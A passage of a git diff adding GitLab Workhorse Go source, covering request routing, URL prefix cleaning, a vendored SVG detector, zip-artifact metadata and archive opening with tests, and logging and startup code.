+ next.ServeHTTP(w, r)
+ })
+}
diff --git a/workhorse/internal/upstream/upstream.go b/workhorse/internal/upstream/upstream.go
new file mode 100644
index 00000000000..fd3f6191a5a
--- /dev/null
+++ b/workhorse/internal/upstream/upstream.go
@@ -0,0 +1,123 @@
+/*
+The upstream type implements http.Handler.
+
+In this file we handle request routing and interaction with the authBackend.
+*/
+
+package upstream
+
+import (
+ "fmt"
+
+ "net/http"
+ "strings"
+
+ "github.com/sirupsen/logrus"
+ "gitlab.com/gitlab-org/labkit/correlation"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upload"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upstream/roundtripper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/urlprefix"
+)
+
+var (
+ DefaultBackend = helper.URLMustParse("http://localhost:8080")
+ requestHeaderBlacklist = []string{
+ upload.RewrittenFieldsHeader,
+ }
+)
+
+type upstream struct {
+ config.Config
+ URLPrefix urlprefix.Prefix
+ Routes []routeEntry
+ RoundTripper http.RoundTripper
+ CableRoundTripper http.RoundTripper
+ accessLogger *logrus.Logger
+}
+
+func NewUpstream(cfg config.Config, accessLogger *logrus.Logger) http.Handler {
+ up := upstream{
+ Config: cfg,
+ accessLogger: accessLogger,
+ }
+ if up.Backend == nil {
+ up.Backend = DefaultBackend
+ }
+ if up.CableBackend == nil {
+ up.CableBackend = up.Backend
+ }
+ if up.CableSocket == "" {
+ up.CableSocket = up.Socket
+ }
+ up.RoundTripper = roundtripper.NewBackendRoundTripper(up.Backend, up.Socket, up.ProxyHeadersTimeout, cfg.DevelopmentMode)
+ up.CableRoundTripper = roundtripper.NewBackendRoundTripper(up.CableBackend, up.CableSocket, up.ProxyHeadersTimeout, cfg.DevelopmentMode)
+ up.configureURLPrefix()
+ up.configureRoutes()
+
+ var correlationOpts []correlation.InboundHandlerOption
+ if cfg.PropagateCorrelationID {
+ correlationOpts = append(correlationOpts, correlation.WithPropagation())
+ }
+
+ handler := correlation.InjectCorrelationID(&up, correlationOpts...)
+ return handler
+}
+
+func (u *upstream) configureURLPrefix() {
+ relativeURLRoot := u.Backend.Path
+ if !strings.HasSuffix(relativeURLRoot, "/") {
+ relativeURLRoot += "/"
+ }
+ u.URLPrefix = urlprefix.Prefix(relativeURLRoot)
+}
+
+func (u *upstream) ServeHTTP(w http.ResponseWriter, r *http.Request) {
+ helper.FixRemoteAddr(r)
+
+ helper.DisableResponseBuffering(w)
+
+ // Drop RequestURI == "*" (FIXME: why?)
+ if r.RequestURI == "*" {
+ helper.HTTPError(w, r, "Connection upgrade not allowed", http.StatusBadRequest)
+ return
+ }
+
+ // Disallow connect
+ if r.Method == "CONNECT" {
+ helper.HTTPError(w, r, "CONNECT not allowed", http.StatusBadRequest)
+ return
+ }
+
+ // Check URL Root
+ URIPath := urlprefix.CleanURIPath(r.URL.Path)
+ prefix := u.URLPrefix
+ if !prefix.Match(URIPath) {
+ helper.HTTPError(w, r, fmt.Sprintf("Not found %q", URIPath), http.StatusNotFound)
+ return
+ }
+
+ // Look for a matching route
+ var route *routeEntry
+ for _, ro := range u.Routes {
+ if ro.isMatch(prefix.Strip(URIPath), r) {
+ route = &ro
+ break
+ }
+ }
+
+ if route == nil {
+ // The protocol spec in git/Documentation/technical/http-protocol.txt
+ // says we must return 403 if no matching service is found.
+ helper.HTTPError(w, r, "Forbidden", http.StatusForbidden)
+ return
+ }
+
+ for _, h := range requestHeaderBlacklist {
+ r.Header.Del(h)
+ }
+
+ route.handler.ServeHTTP(w, r)
+}
diff --git a/workhorse/internal/urlprefix/urlprefix.go b/workhorse/internal/urlprefix/urlprefix.go
new file mode 100644
index 00000000000..23eefe70c67
--- /dev/null
+++ b/workhorse/internal/urlprefix/urlprefix.go
@@ -0,0 +1,35 @@
+package urlprefix
+
+import (
+ "path"
+ "strings"
+)
+
+type Prefix string
+
+func (p Prefix) Strip(path string) string {
+ return CleanURIPath(strings.TrimPrefix(path, string(p)))
+}
+
+func (p Prefix) Match(path string) bool {
+ pre := string(p)
+ return strings.HasPrefix(path, pre) || path+"/" == pre
+}
+
+// Borrowed from: net/http/server.go
+// Return the canonical path for p, eliminating . and .. elements.
+func CleanURIPath(p string) string {
+ if p == "" {
+ return "/"
+ }
+ if p[0] != '/' {
+ p = "/" + p
+ }
+ np := path.Clean(p)
+ // path.Clean removes trailing slash except for root;
+ // put the trailing slash back if necessary.
+ if p[len(p)-1] == '/' && np != "/" {
+ np += "/"
+ }
+ return np
+}
diff --git a/workhorse/internal/utils/svg/LICENSE b/workhorse/internal/utils/svg/LICENSE
new file mode 100644
index 00000000000..f67807d0070
--- /dev/null
+++ b/workhorse/internal/utils/svg/LICENSE
@@ -0,0 +1,24 @@
+The MIT License
+
+Copyright (c) 2016 Tomas Aparicio
+
+Permission is hereby granted, free of charge, to any person
+obtaining a copy of this software and associated documentation
+files (the "Software"), to deal in the Software without
+restriction, including without limitation the rights to use,
+copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the
+Software is furnished to do so, subject to the following
+conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+OTHER DEALINGS IN THE SOFTWARE.
diff --git a/workhorse/internal/utils/svg/README.md b/workhorse/internal/utils/svg/README.md
new file mode 100644
index 00000000000..e5531f47473
--- /dev/null
+++ b/workhorse/internal/utils/svg/README.md
@@ -0,0 +1,45 @@
+# go-is-svg
+
+Tiny package to verify if a given file buffer is an SVG image in Go (golang).
+
+## Installation
+
+```bash
+go get -u github.com/h2non/go-is-svg
+```
+
+## Example
+
+```go
+package main
+
+import (
+ "fmt"
+ "io/ioutil"
+
+ svg "github.com/h2non/go-is-svg"
+)
+
+func main() {
+ buf, err := ioutil.ReadFile("_example/example.svg")
+ if err != nil {
+ fmt.Printf("Error: %s\n", err)
+ return
+ }
+
+ if svg.Is(buf) {
+ fmt.Println("File is an SVG")
+ } else {
+ fmt.Println("File is NOT an SVG")
+ }
+}
+```
+
+Run example:
+```bash
+go run _example/example.go
+```
+
+## License
+
+MIT - Tomas Aparicio
diff --git a/workhorse/internal/utils/svg/svg.go b/workhorse/internal/utils/svg/svg.go
new file mode 100644
index 00000000000..b209cb5bf33
--- /dev/null
+++ b/workhorse/internal/utils/svg/svg.go
@@ -0,0 +1,42 @@
+// Copyright (c) 2016 Tomas Aparicio. All rights reserved.
+//
+// Use of this source code is governed by a MIT License
+// license that can be found in the LICENSE file or at
+// https://github.com/h2non/go-is-svg/blob/master/LICENSE.
+
+package svg
+
+import (
+ "regexp"
+ "unicode/utf8"
+)
+
+var (
+ htmlCommentRegex = regexp.MustCompile(`(?i)<!--([\s\S]*?)-->`)
+ svgRegex = regexp.MustCompile(`(?i)^\s*(?:<\?xml[^>]*>\s*)?(?:<!doctype svg[^>]*>\s*)?<svg[^>]*>`)
+)
+
+// isBinary checks if the given buffer is a binary file.
+func isBinary(buf []byte) bool {
+ if len(buf) < 24 {
+ return false
+ }
+ for i := 0; i < 24; i++ {
+ charCode, _ := utf8.DecodeRuneInString(string(buf[i]))
+ if charCode == 65533 || charCode <= 8 {
+ return true
+ }
+ }
+ return false
+}
+
+// Is returns true if the given buffer is a valid SVG image.
+func Is(buf []byte) bool {
+ return !isBinary(buf) && svgRegex.Match(htmlCommentRegex.ReplaceAll(buf, []byte{}))
+}
+
+// IsSVG returns true if the given buffer is a valid SVG image.
+// Alias to: Is()
+func IsSVG(buf []byte) bool {
+ return Is(buf)
+}
diff --git a/workhorse/internal/zipartifacts/.gitignore b/workhorse/internal/zipartifacts/.gitignore
new file mode 100644
index 00000000000..ace1063ab02
--- /dev/null
+++ b/workhorse/internal/zipartifacts/.gitignore
@@ -0,0 +1 @@
+/testdata
diff --git a/workhorse/internal/zipartifacts/entry.go b/workhorse/internal/zipartifacts/entry.go
new file mode 100644
index 00000000000..527387ceaa1
--- /dev/null
+++ b/workhorse/internal/zipartifacts/entry.go
@@ -0,0 +1,13 @@
+package zipartifacts
+
+import (
+ "encoding/base64"
+)
+
+func DecodeFileEntry(entry string) (string, error) {
+ decoded, err := base64.StdEncoding.DecodeString(entry)
+ if err != nil {
+ return "", err
+ }
+ return string(decoded), nil
+}
diff --git a/workhorse/internal/zipartifacts/errors.go b/workhorse/internal/zipartifacts/errors.go
new file mode 100644
index 00000000000..162816618f8
--- /dev/null
+++ b/workhorse/internal/zipartifacts/errors.go
@@ -0,0 +1,57 @@
+package zipartifacts
+
+import (
+ "errors"
+)
+
+// These are exit codes used by subprocesses in cmd/gitlab-zip-xxx. We also use
+// them to map errors and error messages that we use as label in Prometheus.
+const (
+ CodeNotZip = 10 + iota
+ CodeEntryNotFound
+ CodeArchiveNotFound
+ CodeLimitsReached
+ CodeUnknownError
+)
+
+var (
+ ErrorCode = map[int]error{
+ CodeNotZip: errors.New("zip archive format invalid"),
+ CodeEntryNotFound: errors.New("zip entry not found"),
+ CodeArchiveNotFound: errors.New("zip archive not found"),
+ CodeLimitsReached: errors.New("zip processing limits reached"),
+ CodeUnknownError: errors.New("zip processing unknown error"),
+ }
+
+ ErrorLabel = map[int]string{
+ CodeNotZip: "archive_invalid",
+ CodeEntryNotFound: "entry_not_found",
+ CodeArchiveNotFound: "archive_not_found",
+ CodeLimitsReached: "limits_reached",
+ CodeUnknownError: "unknown_error",
+ }
+
+ ErrBadMetadata = errors.New("zip artifacts metadata invalid")
+)
+
+// ExitCodeByError find an os.Exit code for a corresponding error.
+// CodeUnkownError in case it can not be found.
+func ExitCodeByError(err error) int {
+ for c, e := range ErrorCode {
+ if err == e {
+ return c
+ }
+ }
+
+ return CodeUnknownError
+}
+
+// ErrorLabelByCode returns a Prometheus counter label associated with an exit code.
+func ErrorLabelByCode(code int) string {
+ label, ok := ErrorLabel[code]
+ if ok {
+ return label
+ }
+
+ return ErrorLabel[CodeUnknownError]
+}
diff --git a/workhorse/internal/zipartifacts/errors_test.go b/workhorse/internal/zipartifacts/errors_test.go
new file mode 100644
index 00000000000..6fce160b3bc
--- /dev/null
+++ b/workhorse/internal/zipartifacts/errors_test.go
@@ -0,0 +1,32 @@
+package zipartifacts
+
+import (
+ "errors"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestExitCodeByError(t *testing.T) {
+ t.Run("when error has been recognized", func(t *testing.T) {
+ code := ExitCodeByError(ErrorCode[CodeLimitsReached])
+
+ require.Equal(t, code, CodeLimitsReached)
+ require.Greater(t, code, 10)
+ })
+
+ t.Run("when error is an unknown one", func(t *testing.T) {
+ code := ExitCodeByError(errors.New("unknown error"))
+
+ require.Equal(t, code, CodeUnknownError)
+ require.Greater(t, code, 10)
+ })
+}
+
+func TestErrorLabels(t *testing.T) {
+ for code := range ErrorCode {
+ _, ok := ErrorLabel[code]
+
+ require.True(t, ok)
+ }
+}
diff --git a/workhorse/internal/zipartifacts/metadata.go b/workhorse/internal/zipartifacts/metadata.go
new file mode 100644
index 00000000000..1ecf52deafb
--- /dev/null
+++ b/workhorse/internal/zipartifacts/metadata.go
@@ -0,0 +1,117 @@
+package zipartifacts
+
+import (
+ "archive/zip"
+ "compress/gzip"
+ "encoding/binary"
+ "encoding/json"
+ "io"
+ "path"
+ "sort"
+ "strconv"
+)
+
+type metadata struct {
+ Modified int64 `json:"modified,omitempty"`
+ Mode string `json:"mode,omitempty"`
+ CRC uint32 `json:"crc,omitempty"`
+ Size uint64 `json:"size,omitempty"`
+ Zipped uint64 `json:"zipped,omitempty"`
+ Comment string `json:"comment,omitempty"`
+}
+
+const MetadataHeaderPrefix = "\x00\x00\x00&" // length of string below, encoded properly
+const MetadataHeader = "GitLab Build Artifacts Metadata 0.0.2\n"
+
+func newMetadata(file *zip.File) metadata {
+ if file == nil {
+ return metadata{}
+ }
+
+ return metadata{
+ //lint:ignore SA1019 Remove this once the minimum supported version is go 1.10 (go 1.9 and down do not support an alternative)
+ Modified: file.ModTime().Unix(),
+ Mode: strconv.FormatUint(uint64(file.Mode().Perm()), 8),
+ CRC: file.CRC32,
+ Size: file.UncompressedSize64,
+ Zipped: file.CompressedSize64,
+ Comment: file.Comment,
+ }
+}
+
+func (m metadata) writeEncoded(output io.Writer) error {
+ j, err := json.Marshal(m)
+ if err != nil {
+ return err
+ }
+ j = append(j, byte('\n'))
+ return writeBytes(output, j)
+}
+
+func writeZipEntryMetadata(output io.Writer, path string, entry *zip.File) error {
+ if err := writeString(output, path); err != nil {
+ return err
+ }
+
+ if err := newMetadata(entry).writeEncoded(output); err != nil {
+ return err
+ }
+
+ return nil
+}
+
+func GenerateZipMetadata(w io.Writer, archive *zip.Reader) error {
+ output := gzip.NewWriter(w)
+ defer output.Close()
+
+ if err := writeString(output, MetadataHeader); err != nil {
+ return err
+ }
+
+ // Write empty error header that we may need in the future
+ if err := writeString(output, "{}"); err != nil {
+ return err
+ }
+
+ // Create map of files in zip archive
+ zipMap := make(map[string]*zip.File, len(archive.File))
+
+ // Add missing entries
+ for _, entry := range archive.File {
+ zipMap[entry.Name] = entry
+
+ for d := path.Dir(entry.Name); d != "." && d != "/"; d = path.Dir(d) {
+ entryDir := d + "/"
+ if _, ok := zipMap[entryDir]; !ok {
+ zipMap[entryDir] = nil
+ }
+ }
+ }
+
+ // Sort paths
+ sortedPaths := make([]string, 0, len(zipMap))
+ for path := range zipMap {
+ sortedPaths = append(sortedPaths, path)
+ }
+ sort.Strings(sortedPaths)
+
+ // Write all files
+ for _, path := range sortedPaths {
+ if err := writeZipEntryMetadata(output, path, zipMap[path]); err != nil {
+ return err
+ }
+ }
+ return nil
+}
+
+func writeBytes(output io.Writer, data []byte) error {
+ err := binary.Write(output, binary.BigEndian, uint32(len(data)))
+ if err == nil {
+ _, err = output.Write(data)
+ }
+ return err
+}
+
+func writeString(output io.Writer, str string) error {
+ return writeBytes(output, []byte(str))
+}
diff --git a/workhorse/internal/zipartifacts/metadata_test.go b/workhorse/internal/zipartifacts/metadata_test.go
new file mode 100644
index 00000000000..0f130ab4c15
--- /dev/null
+++ b/workhorse/internal/zipartifacts/metadata_test.go
@@ -0,0 +1,102 @@
+package zipartifacts_test
+
+import (
+ "archive/zip"
+ "bytes"
+ "compress/gzip"
+ "context"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "os"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/zipartifacts"
+)
+
+func generateTestArchive(w io.Writer) error {
+ archive := zip.NewWriter(w)
+
+ // non-POSIX paths are here just to test if we never enter infinite loop
+ files := []string{"file1", "some/file/dir/", "some/file/dir/file2", "../../test12/test",
+ "/usr/bin/test", `c:\windows\win32.exe`, `c:/windows/win.dll`, "./f/asd", "/"}
+
+ for _, file := range files {
+ archiveFile, err := archive.Create(file)
+ if err != nil {
+ return err
+ }
+
+ fmt.Fprint(archiveFile, file)
+ }
+
+ return archive.Close()
+}
+
+func validateMetadata(r io.Reader) error {
+ gz, err := gzip.NewReader(r)
+ if err != nil {
+ return err
+ }
+
+ meta, err := ioutil.ReadAll(gz)
+ if err != nil {
+ return err
+ }
+
+ paths := []string{"file1", "some/", "some/file/", "some/file/dir/", "some/file/dir/file2"}
+ for _, path := range paths {
+ if !bytes.Contains(meta, []byte(path+"\x00")) {
+ return fmt.Errorf(fmt.Sprintf("zipartifacts: metadata for path %q not found", path))
+ }
+ }
+
+ return nil
+}
+
+func TestGenerateZipMetadataFromFile(t *testing.T) {
+ var metaBuffer bytes.Buffer
+
+ f, err := ioutil.TempFile("", "workhorse-metadata.zip-")
+ if f != nil {
+ defer os.Remove(f.Name())
+ }
+ require.NoError(t, err)
+ defer f.Close()
+
+ err = generateTestArchive(f)
+ require.NoError(t, err)
+ f.Close()
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ archive, err := zipartifacts.OpenArchive(ctx, f.Name())
+ require.NoError(t, err, "zipartifacts: OpenArchive failed")
+
+ err = zipartifacts.GenerateZipMetadata(&metaBuffer, archive)
+ require.NoError(t, err, "zipartifacts: GenerateZipMetadata failed")
+
+ err = validateMetadata(&metaBuffer)
+ require.NoError(t, err)
+}
+
+func TestErrNotAZip(t *testing.T) {
+ f, err := ioutil.TempFile("", "workhorse-metadata.zip-")
+ if f != nil {
+ defer os.Remove(f.Name())
+ }
+ require.NoError(t, err)
+ defer f.Close()
+
+ _, err = fmt.Fprint(f, "Not a zip file")
+ require.NoError(t, err)
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ _, err = zipartifacts.OpenArchive(ctx, f.Name())
+ require.Equal(t, zipartifacts.ErrorCode[zipartifacts.CodeNotZip], err, "OpenArchive requires a zip file")
+}
diff --git a/workhorse/internal/zipartifacts/open_archive.go b/workhorse/internal/zipartifacts/open_archive.go
new file mode 100644
index 00000000000..30b86b66c49
--- /dev/null
+++ b/workhorse/internal/zipartifacts/open_archive.go
@@ -0,0 +1,138 @@
+package zipartifacts
+
+import (
+ "archive/zip"
+ "context"
+ "fmt"
+ "io"
+ "net"
+ "net/http"
+ "os"
+ "strings"
+ "time"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/httprs"
+
+ "gitlab.com/gitlab-org/labkit/correlation"
+ "gitlab.com/gitlab-org/labkit/mask"
+ "gitlab.com/gitlab-org/labkit/tracing"
+)
+
+var httpClient = &http.Client{
+ Transport: tracing.NewRoundTripper(correlation.NewInstrumentedRoundTripper(&http.Transport{
+ Proxy: http.ProxyFromEnvironment,
+ DialContext: (&net.Dialer{
+ Timeout: 30 * time.Second,
+ KeepAlive: 10 * time.Second,
+ }).DialContext,
+ IdleConnTimeout: 30 * time.Second,
+ TLSHandshakeTimeout: 10 * time.Second,
+ ExpectContinueTimeout: 10 * time.Second,
+ ResponseHeaderTimeout: 30 * time.Second,
+ DisableCompression: true,
+ })),
+}
+
+type archive struct {
+ reader io.ReaderAt
+ size int64
+}
+
+// OpenArchive will open a zip.Reader from a local path or a remote object store URL
+// in case of remote url it will make use of ranged requestes to support seeking.
+// If the path do not exists error will be ErrArchiveNotFound,
+// if the file isn't a zip archive error will be ErrNotAZip
+func OpenArchive(ctx context.Context, archivePath string) (*zip.Reader, error) {
+ archive, err := openArchiveLocation(ctx, archivePath)
+ if err != nil {
+ return nil, err
+ }
+
+ return openZipReader(archive.reader, archive.size)
+}
+
+// OpenArchiveWithReaderFunc opens a zip.Reader from either local path or a
+// remote object, similarly to OpenArchive function. The difference is that it
+// allows passing a readerFunc that takes a io.ReaderAt that is either going to
+// be os.File or a custom reader we use to read from object storage. The
+// readerFunc can augment the archive reader and return a type that satisfies
+// io.ReaderAt.
+func OpenArchiveWithReaderFunc(ctx context.Context, location string, readerFunc func(io.ReaderAt, int64) io.ReaderAt) (*zip.Reader, error) {
+ archive, err := openArchiveLocation(ctx, location)
+ if err != nil {
+ return nil, err
+ }
+
+ return openZipReader(readerFunc(archive.reader, archive.size), archive.size)
+}
+
+func openArchiveLocation(ctx context.Context, location string) (*archive, error) {
+ if isURL(location) {
+ return openHTTPArchive(ctx, location)
+ }
+
+ return openFileArchive(ctx, location)
+}
+
+func isURL(path string) bool {
+ return strings.HasPrefix(path, "http://") || strings.HasPrefix(path, "https://")
+}
+
+func openHTTPArchive(ctx context.Context, archivePath string) (*archive, error) {
+ scrubbedArchivePath := mask.URL(archivePath)
+ req, err := http.NewRequest(http.MethodGet, archivePath, nil)
+ if err != nil {
+ return nil, fmt.Errorf("can't create HTTP GET %q: %v", scrubbedArchivePath, err)
+ }
+ req = req.WithContext(ctx)
+
+ resp, err := httpClient.Do(req.WithContext(ctx))
+ if err != nil {
+ return nil, fmt.Errorf("HTTP GET %q: %v", scrubbedArchivePath, err)
+ } else if resp.StatusCode == http.StatusNotFound {
+ return nil, ErrorCode[CodeArchiveNotFound]
+ } else if resp.StatusCode != http.StatusOK {
+ return nil, fmt.Errorf("HTTP GET %q: %d: %v", scrubbedArchivePath, resp.StatusCode, resp.Status)
+ }
+
+ rs := httprs.NewHttpReadSeeker(resp, httpClient)
+
+ go func() {
+ <-ctx.Done()
+ resp.Body.Close()
+ rs.Close()
+ }()
+
+ return &archive{reader: rs, size: resp.ContentLength}, nil
+}
+
+func openFileArchive(ctx context.Context, archivePath string) (*archive, error) {
+ file, err := os.Open(archivePath)
+ if err != nil {
+ if os.IsNotExist(err) {
+ return nil, ErrorCode[CodeArchiveNotFound]
+ }
+ }
+
+ go func() {
+ <-ctx.Done()
+ // We close the archive from this goroutine so that we can safely return a *zip.Reader instead of a *zip.ReadCloser
+ file.Close()
+ }()
+
+ stat, err := file.Stat()
+ if err != nil {
+ return nil, err
+ }
+
+ return &archive{reader: file, size: stat.Size()}, nil
+}
+
+func openZipReader(archive io.ReaderAt, size int64) (*zip.Reader, error) {
+ reader, err := zip.NewReader(archive, size)
+ if err != nil {
+ return nil, ErrorCode[CodeNotZip]
+ }
+
+ return reader, nil
+}
diff --git a/workhorse/internal/zipartifacts/open_archive_test.go b/workhorse/internal/zipartifacts/open_archive_test.go
new file mode 100644
index 00000000000..f7624d053d9
--- /dev/null
+++ b/workhorse/internal/zipartifacts/open_archive_test.go
@@ -0,0 +1,68 @@
+package zipartifacts
+
+import (
+ "archive/zip"
+ "context"
+ "fmt"
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "path/filepath"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestOpenHTTPArchive(t *testing.T) {
+ const (
+ zipFile = "test.zip"
+ entryName = "hello.txt"
+ contents = "world"
+ testRoot = "testdata/public"
+ )
+
+ require.NoError(t, os.MkdirAll(testRoot, 0755))
+ f, err := os.Create(filepath.Join(testRoot, zipFile))
+ require.NoError(t, err, "create file")
+ defer f.Close()
+
+ zw := zip.NewWriter(f)
+ w, err := zw.Create(entryName)
+ require.NoError(t, err, "create zip entry")
+ _, err = fmt.Fprint(w, contents)
+ require.NoError(t, err, "write zip entry contents")
+ require.NoError(t, zw.Close(), "close zip writer")
+ require.NoError(t, f.Close(), "close file")
+
+ srv := httptest.NewServer(http.FileServer(http.Dir(testRoot)))
+ defer srv.Close()
+
+ zr, err := OpenArchive(context.Background(), srv.URL+"/"+zipFile)
+ require.NoError(t, err, "call OpenArchive")
+ require.Len(t, zr.File, 1)
+
+ zf := zr.File[0]
+ require.Equal(t, entryName, zf.Name, "zip entry name")
+
+ entry, err := zf.Open()
+ require.NoError(t, err, "get zip entry reader")
+ defer entry.Close()
+
+ actualContents, err := ioutil.ReadAll(entry)
+ require.NoError(t, err, "read zip entry contents")
+ require.Equal(t, contents, string(actualContents), "compare zip entry contents")
+}
+
+func TestOpenHTTPArchiveNotSendingAcceptEncodingHeader(t *testing.T) {
+ requestHandler := func(w http.ResponseWriter, r *http.Request) {
+ require.Equal(t, "GET", r.Method)
+ require.Nil(t, r.Header["Accept-Encoding"])
+ w.WriteHeader(http.StatusOK)
+ }
+
+ srv := httptest.NewServer(http.HandlerFunc(requestHandler))
+ defer srv.Close()
+
+ OpenArchive(context.Background(), srv.URL)
+}
diff --git a/workhorse/jobs_test.go b/workhorse/jobs_test.go
new file mode 100644
index 00000000000..fe51fc58d6a
--- /dev/null
+++ b/workhorse/jobs_test.go
@@ -0,0 +1,60 @@
+package main
+
+import (
+ "io"
+ "net/http"
+ "net/http/httptest"
+ "testing"
+ "time"
+
+ "github.com/stretchr/testify/require"
+)
+
+func startWorkhorseServerWithLongPolling(authBackend string, pollingDuration time.Duration) *httptest.Server {
+ uc := newUpstreamConfig(authBackend)
+ uc.APICILongPollingDuration = pollingDuration
+ return startWorkhorseServerWithConfig(uc)
+}
+
+type requestJobFunction func(url string, body io.Reader) (*http.Response, error)
+
+func requestJobV1(url string, body io.Reader) (*http.Response, error) {
+ resource := `/ci/api/v1/builds/register.json`
+ return http.Post(url+resource, `application/json`, body)
+}
+
+func requestJobV4(url string, body io.Reader) (*http.Response, error) {
+ resource := `/api/v4/jobs/request`
+ return http.Post(url+resource, `application/json`, body)
+}
+
+func testJobsLongPolling(t *testing.T, pollingDuration time.Duration, requestJob requestJobFunction) *http.Response {
+ ws := startWorkhorseServerWithLongPolling("http://localhost/", pollingDuration)
+ defer ws.Close()
+
+ resp, err := requestJob(ws.URL, nil)
+ require.NoError(t, err)
+ defer resp.Body.Close()
+
+ return resp
+}
+
+func testJobsLongPollingEndpointDisabled(t *testing.T, requestJob requestJobFunction) {
+ resp := testJobsLongPolling(t, 0, requestJob)
+ require.NotEqual(t, "yes", resp.Header.Get("Gitlab-Ci-Builds-Polling"))
+}
+
+func testJobsLongPollingEndpoint(t *testing.T, requestJob requestJobFunction) {
+ resp := testJobsLongPolling(t, time.Minute, requestJob)
+ require.Equal(t, "yes", resp.Header.Get("Gitlab-Ci-Builds-Polling"))
+}
+
+func TestJobsLongPollingEndpointDisabled(t *testing.T) {
+ testJobsLongPollingEndpointDisabled(t, requestJobV1)
+ testJobsLongPollingEndpointDisabled(t, requestJobV4)
+}
+
+func TestJobsLongPollingEndpoint(t *testing.T) {
+ testJobsLongPollingEndpoint(t, requestJobV1)
+ testJobsLongPollingEndpoint(t, requestJobV4)
+}
diff --git a/workhorse/logging.go b/workhorse/logging.go
new file mode 100644
index 00000000000..69718e6e834
--- /dev/null
+++ b/workhorse/logging.go
@@ -0,0 +1,72 @@
+package main
+
+import (
+ "fmt"
+ "io"
+ "io/ioutil"
+ goLog "log"
+ "os"
+
+ log "github.com/sirupsen/logrus"
+ logkit "gitlab.com/gitlab-org/labkit/log"
+)
+
+const (
+ jsonLogFormat = "json"
+ textLogFormat = "text"
+ structuredFormat = "structured"
+ noneLogType = "none"
+)
+
+func startLogging(file string, format string) (io.Closer, error) {
+ // Golog always goes to stderr
+ goLog.SetOutput(os.Stderr)
+
+ if file == "" {
+ file = "stderr"
+ }
+
+ switch format {
+ case noneLogType:
+ return logkit.Initialize(logkit.WithWriter(ioutil.Discard))
+ case jsonLogFormat:
+ return logkit.Initialize(
+ logkit.WithOutputName(file),
+ logkit.WithFormatter("json"),
+ )
+ case textLogFormat:
+ // In this mode, default (non-access) logs will always go to stderr
+ return logkit.Initialize(
+ logkit.WithOutputName("stderr"),
+ logkit.WithFormatter("text"),
+ )
+ case structuredFormat:
+ return logkit.Initialize(
+ logkit.WithOutputName(file),
+ logkit.WithFormatter("color"),
+ )
+ }
+
+ return nil, fmt.Errorf("unknown logFormat: %v", format)
+}
+
+// In text format, we use a separate logger for access logs
+func getAccessLogger(file string, format string) (*log.Logger, io.Closer, error) {
+ if format != "text" {
+ return log.StandardLogger(), ioutil.NopCloser(nil), nil
+ }
+
+ if file == "" {
+ file = "stderr"
+ }
+
+ accessLogger := log.New()
+ accessLogger.SetLevel(log.InfoLevel)
+ closer, err := logkit.Initialize(
+ logkit.WithLogger(accessLogger), // Configure `accessLogger`
+ logkit.WithFormatter("combined"), // Use the combined formatter
+ logkit.WithOutputName(file),
+ )
+
+ return accessLogger, closer, err
+}
diff --git a/workhorse/main.go b/workhorse/main.go
new file mode 100644
index 00000000000..47ab63a875a
--- /dev/null
+++ b/workhorse/main.go
@@ -0,0 +1,231 @@
+package main
+
+import (
+ "flag"
+ "fmt"
+ "io/ioutil"
+ "net"
+ "net/http"
+ _ "net/http/pprof"
+ "os"
+ "syscall"
+ "time"
+
+ "gitlab.com/gitlab-org/labkit/log"
+ "gitlab.com/gitlab-org/labkit/monitoring"
+ "gitlab.com/gitlab-org/labkit/tracing"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/queueing"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/redis"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/secret"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upstream"
+)
+
+// Version is the current version of GitLab Workhorse
+var Version = "(unknown version)" // Set at build time in the Makefile
+
+// BuildTime signifies the time the binary was build
+var BuildTime = "19700101.000000" // Set at build time in the Makefile
+
+type bootConfig struct {
+ secretPath string
+ listenAddr string
+ listenNetwork string
+ listenUmask int
+ pprofListenAddr string
+ prometheusListenAddr string
+ logFile string
+ logFormat string
+ printVersion bool
+}
+
+func main() {
+ boot, cfg, err := buildConfig(os.Args[0], os.Args[1:])
+ if err == (alreadyPrintedError{flag.ErrHelp}) {
+ os.Exit(0)
+ }
+ if err != nil {
+ if _, alreadyPrinted := err.(alreadyPrintedError); !alreadyPrinted {
+ fmt.Fprintln(os.Stderr, err)
+ }
+ os.Exit(2)
+ }
+
+ if boot.printVersion {
+ fmt.Printf("gitlab-workhorse %s-%s\n", Version, BuildTime)
+ os.Exit(0)
+ }
+
+ log.WithError(run(*boot, *cfg)).Fatal("shutting down")
+}
+
+type alreadyPrintedError struct{ error }
+
+// buildConfig may print messages to os.Stderr if err != nil. If err is
+// of type alreadyPrintedError it has already been printed.
+func buildConfig(arg0 string, args []string) (*bootConfig, *config.Config, error) {
+ boot := &bootConfig{}
+ cfg := &config.Config{Version: Version}
